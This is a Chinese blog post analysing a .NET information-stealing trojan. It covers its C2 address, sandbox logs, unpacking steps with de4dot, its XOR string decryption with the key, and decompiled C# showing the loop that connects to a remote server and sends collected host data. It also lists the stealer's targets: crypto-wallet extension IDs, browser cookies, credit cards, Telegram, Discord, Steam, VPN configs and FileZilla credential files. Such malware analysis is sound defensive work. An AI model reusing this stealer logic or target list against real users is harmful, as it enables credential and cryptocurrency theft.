【病毒分析】f636ebe109c71aba251df70bede3a88e513752b8

病毒名称

EAST:Win32/Kryptik.HMIB trojan Kaspersky:Win32.ShellCode.Agent.pef

简单描述

1.不间断请求连接可疑网址
2.获取计算机信息、进程信息;具备反调试的能力
3.释放隐藏文件 4.存在数据库调用路径

联网行为

任 务 组
17:55:53:172,4167e92fe9fd2be02010793acafe7a44.exe,3332:3364,3332,NET_connect,185.201.252.33:28028,protocol:(TCP)0 ,0x00000000[操作成功完成]
每隔21s发一次连接请求
img
185
该网址有过 垃圾邮件的情报 所引用的API:
"First Dates arder( Name stThu  o  2  000...  000...  000...  000...  000...  000...  000...  000...  000...  000...  000...  000...  000...  000...  7fb...  637...  653...  KERNEL32.dII  USER32dII  WINHTTP.dll
GetSystemTimeAsFileTime:检索当前系统日期和时间 GetNativeSystemInfo:获取当前系统的相关信息
GetSystemWindowsDirectoryA:获取系统目录信息 CreateToolhelp32Snapshot:枚举进程模块、获取系统中正在运行的进程信息,线程信息
IsDebuggerPresent:检测进程本身是否被调试 LoadResource:搜索并加载模块资源
异常行为:释放隐藏文件
Volume

12:25:22:743,rundll32.exe,3212:0,3212,BA_extract_hidden,C:\System Volume Information\SPP\SppCbsHiveStore{cd42efe1-f6f1-427c-b004-033192c625a4}{5BAB9B94-6310-45F9-AF7D-D9111F7540F3}{0c293209-623d-11ec-b152-000c29daac43}.TMContainer00000000000000000001.regtrans-ms,,0x00000000 [操作成功完成 ],

12:25:22:744,rundll32.exe,3212:0,3212,BA_extract_hidden,C:\System Volume Information\SPP\SppCbsHiveStore{cd42efe1-f6f1-427c-b004-033192c625a4}{5BAB9B94-6310-45F9-AF7D-D9111F7540F3}{0c293209-623d-11ec-b152-000c29daac43}.TMContainer00000000000000000002.regtrans-ms,,0x00000000 [操作成功完成],

12:25:22:748,rundll32.exe,3212:0,3212,BA_extract_hidden,C:\System Volume Information\SPP\SppCbsHiveStore{cd42efe1-f6f1-427c-b004-033192c625a4}{5BAB9B94-6310-45F9-AF7D-D9111F7540F3}{0c293209-623d-11ec-b152-000c29daac43}.TM.blf,,0x00000000 [操作成功完成 ],

12:25:22:920,rundll32.exe,3212:0,3212,BA_extract_hidden,C:\System Volume Information\SPP\SppGroupCache\Temp_{2F4E30DE-2273-4B0A-9019-AE3083BED29E}_WindowsUpdateInfo,,0x00000000 [操作成功完成 ],
数据库访问 .rdata:004263E8 0000000B C C:\zuw.pdb

学习笔记如下

image-20220116161206216

一进程序就做下面这件事,然后可以跳转到这个内存分配的点,然后就正常走到内存释放的点之前把里面有用的提取出来。

bp VirtualAlloc

bp VirtualFree

中间需要不停的跟随数据窗口看数据

就是一般分配空间完有一段空白的 后面才写东西进去

第一个是280000的时候

image-20220116161233676

提取出来这个之后就可以脱壳..

. NET Reactor 是一款强大的 .NET 代码混淆加密保护工具,常用于防止对 .NET 程序的反编译破解等场景。

de4dot 280000.bin

EntryPoint()
IP = "FDUMXjsZEBYmPEMKFzUiGjoJFFcmBRAEFAsMUg=="; https://api.ip.sb/geoip
ID = "OikhGRU0NVMmBTUBFAZWUg==";  ID: isSecureegram.exe
Message = "";
Key = "Yakows";

解密:
FromBase64String(StringDecrypt.Xor(FromBase64String(b64), stringKey));

Xor(string input, string stringKey):input[i] ^ stringKey[i % stringKey.Length]

public static class Program
{
    private static void Main(string[] args)
    {
        new EntryPoint().Execute();
    }
    public static void Execute(this EntryPoint entry)
    {
        try
        {
            if (!string.IsNullOrWhiteSpace(entry.Message))
            {
                new Thread(delegate()
                {
                    MessageBox.Show(StringDecrypt.Decrypt(entry.Message, entry.Key), "", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                })
                {
                    IsBackground = true
                }.Start();
            }
            using (EndpointConnection endpointConnection = new EndpointConnection())
            {
                bool flag = false;
                IL_B1:
                while (!flag)
                {
                    foreach (string address in StringDecrypt.Decrypt(entry.IP, entry.Key).Split(new string[]
                    {
                        "|"
                    }, StringSplitOptions.RemoveEmptyEntries))
                    {
                        if (endpointConnection.RequestConnection(address) && endpointConnection.TryGetConnection())//请求连接 连外网的
                        {
                            flag = true;
                            IL_A7:
                            Thread.Sleep(5000);
                            goto IL_B1;
                        }
                    }
                    goto IL_A7;
                }
                ScanningArgs settings = new ScanningArgs();//扫描器
                while (!endpointConnection.TryGetArgs(out settings))
                {
                    if (!endpointConnection.TryGetConnection())
                    {
                        throw new Exception();
                    }
                    Thread.Sleep(1000);
                }
                ScanResult scanResult = new ScanResult
                {
                    ReleaseID = StringDecrypt.Decrypt(entry.ID, entry.Key)
                };
                IdentitySenderBase identitySenderBase = SenderFactory.Create(entry.Version); //API端口
                while (!identitySenderBase.Send(endpointConnection, settings, ref scanResult))
                {
                    Thread.Sleep(5000);
                }
                ScanResult user = scanResult;
                user.ScanDetails = new ScanDetails();//扫描详情 获取了主机信息
                user.Monitor = null;
                IList<UpdateTask> tasks = new List<UpdateTask>();
                while (!endpointConnection.TryGetTasks(user, out tasks))
                {
                    if (!endpointConnection.TryGetConnection())
                    {
                        IL_1D5:
                        throw new Exception();
                    }
                    Thread.Sleep(1000);
                }
                using (List<int>.Enumerator enumerator = new TaskResolver(scanResult).ReleaseUpdates(tasks).GetEnumerator())
                {
                    while (enumerator.MoveNext())
                    {
                        int taskId = enumerator.Current;
                        while (!endpointConnection.TryCompleteTask(user, taskId))
                        {
                            if (!endpointConnection.TryGetConnection())
                            {
                                throw new Exception();
                            }
                            Thread.Sleep(1000);
                        }
                    }
                    goto IL_1E1;
                }
                goto IL_1D5;
                IL_1E1:;
            }
        }
        catch (Exception)
        {
            entry.Execute();
        }
    }

    // Token: 0x06000058 RID: 88 RVA: 0x00006AF4 File Offset: 0x00004CF4
    public static bool SeenBefore()//建日志
    {
        try
        {
            string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Yandex\\YaAddon");
            if (Directory.Exists(path))
            {
                return true;
            }
            Directory.CreateDirectory(path);
            return false;
        }
        catch
        {
        }
        return false;
    }
}

各个部分:

AllWallets:wallet.dat 访问我的钱包数据

BrEx: 检测本机 加密货币的钱包

ffnbelfdoeiohenkjibnmadjiehjhajb| YoroiWallet

ibnejdfjmmkpcnlpebklmnkoeoihofec|Tronlink

jbdaocneiiinmjbjlgalhcelgbejmnid| NiftyWallet

nkbihfbeogaeaoehlefnkodbefgpgknn|Metamask

afbcbjpbpfadlkmhmclhkeeodmamcflc| MathWallet

hnfanknocfeofbddgcijnmhnfnkdnaad|Coinbase

fhbohimaelbohpjbbldcngcnapndodjp|BinanceChain

odbfpeeihdkbihmopkbjmoonfanlbfcl| BraveWallet

hpglfhgfnhbgpjdenjgmdgoeiappafln|GuardaWallet

blnieiiffboillknjnepogjhkgnoapac|EqualWallet

cjelfplplebdjjenllpjcblmjkfcffne|JaxxxLiberty

fihkakfobkmkjojpchpfgcmhfjnmnfpi|BitAppWallet

kncchdigobghenbbaddojjnnaogfppfj|iWallet

amkmjjmmflddogmhpjloimipbofnfjih|Wombat

fhilaheimglignddkjgofkcbgekhenbh|AtomicWallet

nlbmnnijcnlegkjjpcfjclmcfggfefdm|MewCx

nanjmdknhkinifnkgdcggcfnhdaammmj|GuildWallet

nkddgncdjgjfcddamfgcmfnlhccnimig|SaturnWallet

fnjhmkhhmkbjkkabndcnnogagogbneec|RoninWallet

aiifbnbfobpmeekipheeijimdpnlpgpp|TerraStation

fnnegphlobjdpkhecapkijjdkgcjhkib|HarmonyWallet

aeachknmefphepccionboohckonoeemg|Coin98Wallet

cgeeodpfagjceefieflmdfphplkenlfk|TonCrystal

pdadjkfkgcafgbceimcpbkalnfnepbnk|KardiaChain

针对以下的加密货币钱包操作

Armory:Armory

El3_K_Tr00M:Electrum

Eth:Ethereum

E_x0_d_u_S:Exodus

mYDict:Monero

GClass1: Coinomi

JX:Jaxx

Browser: 获取游览器信息

GClass0:获取游览器Cookie

cookies.sqlite

Chr_0_M_e:获取信用卡信息

credit_cards

Discord:获取通讯服务数据

DesktopMessanger:Telegram

GameLauncher:获取游戏服务的数据

Software\Valve\Steam

GeoPlugin:获取使用者的地理位置

LocatorAPI: 此应用程序根据来自各个基站的信息计算移动站点的大致位置。

收集VPN,NordVPN、OpenVPN和ProtonVPN的相关信息

NordApp: NordVPN

OpenVPN:OpenVPN

ProtonVPN:ProtonVPN

SystemInfoHelper:获取主机信息

FileZilla:从本地FTP客户端软件获取凭证

sitemanager.xml中保存的是站点管理器中的信息

recentservers.xml保存的是最近访问的服务器信息

\FileZilla\recentservers.xml

\FileZilla\sitemanager.xml

posted @ 2022-01-16 16:57  Nicky_啦啦啦是阿落啊  阅读(291)  评论(0编辑  收藏  举报